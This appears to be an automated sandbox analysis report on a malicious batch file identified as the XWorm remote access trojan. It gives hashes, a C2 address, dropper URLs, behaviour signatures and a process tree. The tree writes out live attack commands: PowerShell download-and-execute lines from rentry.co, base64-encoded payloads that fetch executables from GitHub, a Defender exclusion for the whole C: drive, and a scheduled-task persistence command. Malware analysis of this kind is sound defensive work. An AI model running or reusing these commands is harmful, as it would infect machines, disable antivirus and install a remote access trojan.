Analysis

  • max time kernel
    106s
  • max time network
    113s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02/04/2024, 14:33

General

  • Target

    $77APCONSVC.bat

  • Size

    92B

  • MD5

    4f355afd14649539c0c4617801cd13b8

  • SHA1

    fb603332e2098d3a64324dff7b54433dbda65616

  • SHA256

    57754e153ca09796a238926d33c4ade8686c94c1bde3040405ea793afb273065

  • SHA512

    a29d7f2c0a25f053c6455e2974b44cb7879ad5d7d572392a7d05fa295383e1271864ac04036470cfb74e14fb8c09f6d0e2e4e94acf138eec44c9265bd96eb7f0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://github.com/z77f/Exclusions/raw/main/Exclusions.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Language
ps1
Source
URLs
exe.dropper

https://github.com/93blaoy/IntelCpHDCPSvc223/raw/main/IntelCpHDCPSvc.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Version

3.1

C2

147.185.221.17:50064

Mutex

y98jskG0GYy4J3g5

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 8 IoCs
  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$77APCONSVC.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "irm rentry.co/Hokm/raw | iex"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAGYAYQBsAHMAZQAsACAAIgBhAGQAbQBpAG4AcgB1AG4AIgA6ACAAZgBhAGwAcwBlAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsAJAByAGEAbgBkAG8AbQBTAHQAcgBpAG4AZwAgAD0AIAAiAHEAMABMAFoAYwBFAGkAbgBKAHIAIgA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBXAEQAKQAgAHsAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AIAA9ACAAJAB0AHIAdQBlADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBuAGkAbgBoAHAAbgAxADMAMwA3AC8ARABpAHMAYQBiAGwAZQAtAFcAaQBuAGQAbwB3AHMALQBEAGUAZgBlAG4AZABlAHIALwBtAGEAaQBuAC8AcwBvAHUAcgBjAGUALgBiAGEAdAAnACwAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AOwBpAGYAIAAoACQAcwBlAHQAdABpAG4AZwBzAC4AYQBkAG0AaQBuAHIAdQBuACkAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAHoANwA3AGYALwBFAHgAYwBsAHUAcwBpAG8AbgBzAC8AcgBhAHcALwBtAGEAaQBuAC8ARQB4AGMAbAB1AHMAaQBvAG4AcwAuAGUAeABlACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwBFAHgAYwBsAHUAcwBpAG8AbgBzAC4AZQB4AGUAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUAcgBsACwAIAAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAOwB9AGUAbABzAGUAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAHoANwA3AGYALwBFAHgAYwBsAHUAcwBpAG8AbgBzAC8AcgBhAHcALwBtAGEAaQBuAC8ARQB4AGMAbAB1AHMAaQBvAG4AcwAuAGUAeABlACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwBFAHgAYwBsAHUAcwBpAG8AbgBzAC4AZQB4AGUAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUAcgBsACwAIAAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAOwB9AA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Users\Admin\AppData\Local\Temp\Exclusions.exe
          "C:\Users\Admin\AppData\Local\Temp\Exclusions.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2724
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath 'C:\'
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "irm rentry.co/windowscop/raw | iex"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAGYAYQBsAHMAZQAsACAAIgBhAGQAbQBpAG4AcgB1AG4AIgA6ACAAZgBhAGwAcwBlAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsAJAByAGEAbgBkAG8AbQBTAHQAcgBpAG4AZwAgAD0AIAAiAHMANQBVADcASwBXAEIAeQA5AE8AIgA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBXAEQAKQAgAHsAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AIAA9ACAAJAB0AHIAdQBlADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBuAGkAbgBoAHAAbgAxADMAMwA3AC8ARABpAHMAYQBiAGwAZQAtAFcAaQBuAGQAbwB3AHMALQBEAGUAZgBlAG4AZABlAHIALwBtAGEAaQBuAC8AcwBvAHUAcgBjAGUALgBiAGEAdAAnACwAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AOwBpAGYAIAAoACQAcwBlAHQAdABpAG4AZwBzAC4AYQBkAG0AaQBuAHIAdQBuACkAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvADkAMwBiAGwAYQBvAHkALwBJAG4AdABlAGwAQwBwAEgARABDAFAAUwB2AGMAMgAyADMALwByAGEAdwAvAG0AYQBpAG4ALwBJAG4AdABlAGwAQwBwAEgARABDAFAAUwB2AGMALgBlAHgAZQAnADsAJABvAHUAdABwAHUAdABQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXAAnACAAKwAgACcAbgB0AGUAbABDAHAASABEAEMAUABTAHYAYwAuAGUAeABlACcAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdABwAHUAdABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdABwAHUAdABQAGEAdABoACAALQBWAGUAcgBiACAAUgB1AG4AQQBzADsAfQBlAGwAcwBlACAAewAkAHUAcgBsACAAPQAgACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwA5ADMAYgBsAGEAbwB5AC8ASQBuAHQAZQBsAEMAcABIAEQAQwBQAFMAdgBjADIAMgAzAC8AcgBhAHcALwBtAGEAaQBuAC8ASQBuAHQAZQBsAEMAcABIAEQAQwBQAFMAdgBjAC4AZQB4AGUAJwA7ACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAD0AIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAnAG4AdABlAGwAQwBwAEgARABDAFAAUwB2AGMALgBlAHgAZQAnADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdQByAGwALAAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAA7AH0A
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3652
        • C:\Users\Admin\AppData\Local\Temp\ntelCpHDCPSvc.exe
          "C:\Users\Admin\AppData\Local\Temp\ntelCpHDCPSvc.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4656
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "ntelCpHDCPSvc" /tr "C:\Users\Admin\AppData\Roaming\ntelCpHDCPSvc.exe"
            5⤵
            • Creates scheduled task(s)
            PID:572
  • C:\Users\Admin\AppData\Roaming\ntelCpHDCPSvc.exe
    C:\Users\Admin\AppData\Roaming\ntelCpHDCPSvc.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4272
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
    1⤵
      PID:1544
    • C:\Windows\System32\oobe\UserOOBEBroker.exe
      C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
      1⤵
      • Drops file in Windows directory
      PID:2084
    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
      C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
      1⤵
        PID:3180
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3748

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              3KB

              MD5

              46cdba1da80767357c761c7c088d884a

              SHA1

              5204853290d20e63c54aa08c0750905f9698e563

              SHA256

              3744bbf2527d056a2c0e3ea22a5b19bf9bbdc491a72df5b7563d875f075787a6

              SHA512

              c8dd60f7dc30e67a72efc8631d0ef9ec0cfd40ba822d5827bd5ba1f63bacac27a6a2243902d7986acf4110264f02809d74603a91965c2809b3f0194c6147ea34

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              a1a3f9433eb42ddf260af753ba66dc3f

              SHA1

              2d4f874754eab0bcc2611d3f54e303116f620730

              SHA256

              1f4425454d3ccef1488ee6fa4dbf56c4c972861f9ecd56fe23cbfeb261558a03

              SHA512

              8eb723a2ee37ec0526cbcc42f6360fb7091aedc2cf143ae7bc4bdfb9793c26fb6507eb15453396e4c9cb204eb19550956f9cdce58fdc94906d8d8a73b39c5637

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              18KB

              MD5

              1dc99fbb1ba0df8c6586b12368016957

              SHA1

              f071eb96c9e7f7875ddeafe67d5012c6f459a4ec

              SHA256

              b7ad6396f957cf8f422e3325c4f6b02c2fd17e8f53671ced30457c25adf36c8f

              SHA512

              ac4173dac07e8a85e4bac5b941a5e2334f3ae6c637b608a93c7832e93d44c0b1c6d60299854ed439e77e7e9cae45b88c4791a9f8dd5f7fce4d6835ccd5b62348

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              496B

              MD5

              a2d4f8f586db3a1bf63dae4b3f6e95f0

              SHA1

              0e15301e9601b00ff0e3355ed31ee8be38abda64

              SHA256

              f196ca71b518471837346a0f7b124bd6687c73b766208c844fdf86c4ac520a27

              SHA512

              43129285995077704c5c68b115a89e3027fa0c34ef3ad07af0be1397e51e972ab4cfa35460d53ad643cf8f0da9a01adb17f605459a258c8efd96be7d5b07be36

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              1KB

              MD5

              ad60aefe903d80a798b904be4a3f0283

              SHA1

              5a27227a9aec298c043d9fe4162cc64664c01a25

              SHA256

              17c944d3e6e2a0dd06c58ae9cefe305fa7da552c010c012625abcc9585eeb214

              SHA512

              5a9ed746dd825929a2fa1a00b983563538be92a6b85df3728177e3a026babf659c0afadbf544c27aeae9b492b62ac9319af50eeeae610b0aee5256966d96470a

            • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

              Filesize

              10KB

              MD5

              82678367fa4297a26727ccc84e0b2f60

              SHA1

              0c65ab90390566f7d2f5b4751b9027f6bac1d22a

              SHA256

              fbf7356b28e05edc871dda40b318b147e6d07ece028da3d67c3cfbd30bfa0f29

              SHA512

              e5474444eecac25a06fe26a22dce9aa9311740dca264de1c824a36a7bc55216f301e934667fe0b9c3c7b062694f8a37e45ecce6b3889cb33bb47ecb9bd198db5

            • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

              Filesize

              10KB

              MD5

              28d32a16ce87d488acc7632092f7d566

              SHA1

              325dd247e49113dd987531ffe7ca26c22ce08c31

              SHA256

              ba6d4f09117c098bd27508a14d44822f13399ebe16d5d2539ad2844157fa4907

              SHA512

              8159021f9d0e28d370faddf7fa41aa9d4bdf7a1aee71779706e43c30486526a0636568d8f90c580da543f8393f546090f71f87382f99e3e0a2b227b04670af57

            • C:\Users\Admin\AppData\Local\Temp\Exclusions.exe

              Filesize

              7KB

              MD5

              7a8a167aa932adf70e56092286bc78fa

              SHA1

              898ad11a51d73aac4a2f6b9ca1605bd247b638df

              SHA256

              7eac536d3a70d7611d17d7264a600f629422d22a76c6b0714c256e2a86d636f6

              SHA512

              8173301f56ae0f1e8a96832699c18abacb9279609f485602f5bdc228678ced6001b7deb6ef34c2df00185d8c7834cd5677d4035e87d6f71a01a9941c4444557e

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0vovggi.xrq.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\ntelCpHDCPSvc.exe

              Filesize

              31KB

              MD5

              645384c8b2ed0e08aed63ed58ecb9720

              SHA1

              666eefdf934dbb63b835817a2ac31b3e923662a9

              SHA256

              cec2f548fbf7c1abf104af50e13301b8d46ee1be21a37579d81549ec4699b33b

              SHA512

              2f46e13a25d2ec2b6182f0efdb0200356c9eeaae554c4781f46f701109058f9df8088b38c990b326c4cb8ff887d42660fdea1a873166bcb335992b36398e3c0b

            • memory/1224-25-0x00000213FA6B0000-0x00000213FABD8000-memory.dmp

              Filesize

              5.2MB

            • memory/1224-24-0x00000213F9AB0000-0x00000213F9AC0000-memory.dmp

              Filesize

              64KB

            • memory/1224-39-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/1224-15-0x00000213F9AB0000-0x00000213F9AC0000-memory.dmp

              Filesize

              64KB

            • memory/1224-14-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/2676-119-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/2676-48-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/2676-49-0x0000022C6ABE0000-0x0000022C6ABF0000-memory.dmp

              Filesize

              64KB

            • memory/2676-126-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/2724-43-0x0000000000DD0000-0x0000000000DD8000-memory.dmp

              Filesize

              32KB

            • memory/2724-44-0x0000000074DE0000-0x0000000075591000-memory.dmp

              Filesize

              7.7MB

            • memory/2724-47-0x0000000074DE0000-0x0000000075591000-memory.dmp

              Filesize

              7.7MB

            • memory/3652-120-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/3652-78-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/3652-79-0x0000020CEF8A0000-0x0000020CEF8B0000-memory.dmp

              Filesize

              64KB

            • memory/3652-80-0x0000020CEF8A0000-0x0000020CEF8B0000-memory.dmp

              Filesize

              64KB

            • memory/3828-8-0x0000028FBF3D0000-0x0000028FBF3F2000-memory.dmp

              Filesize

              136KB

            • memory/3828-9-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/3828-10-0x0000028FBF1B0000-0x0000028FBF1C0000-memory.dmp

              Filesize

              64KB

            • memory/3828-11-0x0000028FBF1B0000-0x0000028FBF1C0000-memory.dmp

              Filesize

              64KB

            • memory/3828-12-0x0000028FBF1B0000-0x0000028FBF1C0000-memory.dmp

              Filesize

              64KB

            • memory/3828-13-0x0000028FBF9A0000-0x0000028FBFB62000-memory.dmp

              Filesize

              1.8MB

            • memory/3828-45-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/3936-113-0x00000000071F0000-0x00000000071FA000-memory.dmp

              Filesize

              40KB

            • memory/3936-65-0x00000000057F0000-0x0000000005856000-memory.dmp

              Filesize

              408KB

            • memory/3936-76-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

              Filesize

              120KB

            • memory/3936-90-0x0000000006D90000-0x0000000006DC4000-memory.dmp

              Filesize

              208KB

            • memory/3936-91-0x0000000071050000-0x000000007109C000-memory.dmp

              Filesize

              304KB

            • memory/3936-89-0x000000007F8B0000-0x000000007F8C0000-memory.dmp

              Filesize

              64KB

            • memory/3936-101-0x00000000048F0000-0x0000000004900000-memory.dmp

              Filesize

              64KB

            • memory/3936-100-0x0000000006370000-0x000000000638E000-memory.dmp

              Filesize

              120KB

            • memory/3936-102-0x0000000006E50000-0x0000000006EF4000-memory.dmp

              Filesize

              656KB

            • memory/3936-103-0x00000000077B0000-0x0000000007E2A000-memory.dmp

              Filesize

              6.5MB

            • memory/3936-104-0x0000000007170000-0x000000000718A000-memory.dmp

              Filesize

              104KB

            • memory/3936-59-0x0000000074E60000-0x0000000075611000-memory.dmp

              Filesize

              7.7MB

            • memory/3936-62-0x0000000004F70000-0x000000000559A000-memory.dmp

              Filesize

              6.2MB

            • memory/3936-61-0x00000000048F0000-0x0000000004900000-memory.dmp

              Filesize

              64KB

            • memory/3936-75-0x00000000058E0000-0x0000000005C37000-memory.dmp

              Filesize

              3.3MB

            • memory/3936-66-0x0000000005860000-0x00000000058C6000-memory.dmp

              Filesize

              408KB

            • memory/3936-121-0x0000000007400000-0x0000000007496000-memory.dmp

              Filesize

              600KB

            • memory/3936-77-0x0000000005E50000-0x0000000005E9C000-memory.dmp

              Filesize

              304KB

            • memory/3936-60-0x00000000048F0000-0x0000000004900000-memory.dmp

              Filesize

              64KB

            • memory/3936-124-0x0000000007380000-0x0000000007391000-memory.dmp

              Filesize

              68KB

            • memory/3936-64-0x00000000055D0000-0x00000000055F2000-memory.dmp

              Filesize

              136KB

            • memory/3936-127-0x00000000073B0000-0x00000000073BE000-memory.dmp

              Filesize

              56KB

            • memory/3936-128-0x00000000073C0000-0x00000000073D5000-memory.dmp

              Filesize

              84KB

            • memory/3936-129-0x00000000074C0000-0x00000000074DA000-memory.dmp

              Filesize

              104KB

            • memory/3936-130-0x00000000074B0000-0x00000000074B8000-memory.dmp

              Filesize

              32KB

            • memory/3936-134-0x0000000074E60000-0x0000000075611000-memory.dmp

              Filesize

              7.7MB

            • memory/3936-58-0x0000000004900000-0x0000000004936000-memory.dmp

              Filesize

              216KB

            • memory/4272-141-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/4272-143-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/4656-136-0x0000000000F20000-0x0000000000F30000-memory.dmp

              Filesize

              64KB

            • memory/4656-137-0x000000001BD30000-0x000000001BD3A000-memory.dmp

              Filesize

              40KB

            • memory/4656-138-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/4656-125-0x00007FFDA5710000-0x00007FFDA61D2000-memory.dmp

              Filesize

              10.8MB

            • memory/4656-118-0x00000000006E0000-0x00000000006EE000-memory.dmp

              Filesize

              56KB